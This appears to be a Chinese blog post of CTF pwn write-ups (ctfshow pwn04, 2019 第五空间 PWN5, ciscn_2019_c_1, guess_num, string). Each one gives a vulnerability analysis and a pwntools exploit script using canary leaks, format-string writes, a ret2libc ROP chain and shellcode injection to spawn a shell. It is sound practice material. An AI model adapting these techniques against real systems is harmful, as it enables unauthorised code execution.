文章27
标签0
分类4

pwn-canary绕过

ctfshow上的一道pwn04
首先检查:

屏幕截图 2021-11-22 204107.png

程序关闭了PIE,是一个32位i386程序
拖入IDA:

屏幕截图 2021-11-22 204309.png

11行发现格式化字符串漏洞。
确定canary位置:

屏幕截图 2021-11-22 204537.png

断点设置在printf

屏幕截图 2021-11-22 205154.png

可以看到canary位于%31$x的位置
计算溢出量,写wp:

from pwn import*
context(log_level='debug',arch='i386')
p = remote('pwn.challenge.ctf.show',28139)
#p = process('pwn04')

if __name__ == '__main__':
    p.recvline('Hello Hacker!')
    canary_leak = '%31$x'
    p.sendline(canary_leak)

    canary = int(p.recv(),16)

    print(hex(canary))
    
    payload = b'a'*100+p32(canary)+b'a'*12+p32(0x0804859B)
    p.sendline(payload)

    p.interactive()

2019_第五空间PWN5

2019_第五空间PWN5
首先检查
在这里插入图片描述
在这里插入图片描述
可以看到,23行存在格式化字符串漏洞。
将随机数存入bss段0x804C044处,当我输入的passwd等于随机数则getshell。
在这里插入图片描述
在这里插入图片描述
而aaaa的位置在%10$n处,且bss段为4字节,
exp:

from pwn import*

p=("node4.buuoj.cn",27302)
#p = process("./2019_第五空间PWN5")
context(log_level='debug',arch='i386')

if __name__ == "__main__":

    bss_addr = 0x0804C044
    p.recvuntil('your name:')

    p.sendline(p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n%11$n%12$n%13$n')

    p.sendlineafter('passwd:',str(0x10101010))
    p.interactive()

ciscn_2019_c_1

先查看一下
在这里插入图片描述
是一个64位的程序开启了NX
拿IDA分析
在这里插入图片描述
在这里插入图片描述
发现存在栈溢出漏洞,
程序没有system函数,没有bin_sh
因此考虑libc
exp:

from pwn import*
from LibcSearcher import*

p= remote("node4.buuoj.cn",27495)
#p = process("./ciscn_2019_c_1")
elf = ELF("./ciscn_2019_c_1")

context(os="linux",log_level="debug",arch="amd64")

if __name__ == "__main__":

    p.recvuntil("Input your choice!")
    p.sendline("1")
    p.recvuntil("Input your Plaintext to be encrypted")
    
    puts_plt = elf.plt["puts"]
    puts_got = elf.got["puts"]
    main_addr = 0x400B28
    pop_rdi = 0x400c83
    p.sendline(b"A"*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr))

    p.recvuntil("Ciphertext\n")
    p.recvline()
    puts_addr=u64(p.recv(7)[:-1].ljust(8,b'\x00'))

    libc = LibcSearcher("puts",puts_addr)

    libc_base = puts_addr-libc.dump("puts")
    system_addr = libc_base+libc.dump("system")
    bin_addr = libc_base+libc.dump("str_bin_sh")
    
    p.recvuntil("Input your choice!")
    p.sendline("1")
    p.recvuntil("Input your Plaintext to be encrypted")
    ret=0x4006b9
    p.sendline(b"A"*(0x50+8)+p64(ret)+p64(pop_rdi)+p64(bin_addr)+p64(system_addr))

    p.interactive()

guess_num

guess_num
首先检查
在这里插入图片描述
程序开启了Stack,NX,PIE,并且是一个64位的程序
看代码,
在这里插入图片描述
输入数字进行10次验证,每一次都对则Success。
在这里插入图片描述
然后cat flag
然而这是一个随机数,根本猜不到。
在这里插入图片描述
我们发现可以利用gets溢出覆盖随机数种子,从而自己控制一个随机数种子。
只需要0x20+8个a即可。
c代码:

#include<stdio.h>
#include<stdlib.h>

int main(){
        srand(0x61616161);
        int i = 0;
        int num;
        for(i=0;i<=9;++i){
                num = rand()%6 + 1;
                printf("%d",num);
        }
return 0;
}

输出
5646623622
直接远程调试:
在这里插入图片描述

输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
然后按顺序输入随机数
在这里插入图片描述

string

首先checksec
在这里插入图片描述
保护开的比较多
直接拿IDA看一看
在这里插入图片描述
开局给出了v3的地址和v3下一位地址,进入一个函数
在这里插入图片描述
输入name,进入第一个函数
在这里插入图片描述
输入east进入下一个函数
在这里插入图片描述
在23行发现存在格式化字符串漏洞。
看下一个函数
在这里插入图片描述
来到这,就可以写入shellcode了,前提是a1等于下一个地址
先拿gdb调试,prinf处下断点
地址给28
在这里插入图片描述
输入多个%x,看到我们28存放的位置在第7位
在这里插入图片描述
所以只需改写第7个为85之后就可以写入shellcode了。

exp:

from pwn import*

sh = process("./string")
sh = remote("111.200.241.244",62404)
context(log_level="debug",arch="amd64")

if __name__ == "__main__":

    sh.recvuntil('secret[0] is ')
    v3_addr = int(sh.recv(7),16)

    sh.recvuntil('name be:')
    sh.sendline('wdnmd')
    sh.recvuntil('east or up?:')
    sh.sendline('east')
    sh.recvuntil('leave(0)?:')
    sh.sendline('1')

    sh.recvuntil('\'Give me an address\'')
    sh.sendline(str(v3_addr))

    sh.recvuntil('you wish is:')
    payload ="%85p"+"%7$n"
    sh.sendline(payload)
    sh.recvuntil("I will help you! USE YOU SPELL")
    sh.sendline(asm(shellcraft.amd64.sh()))

    sh.interactive()
">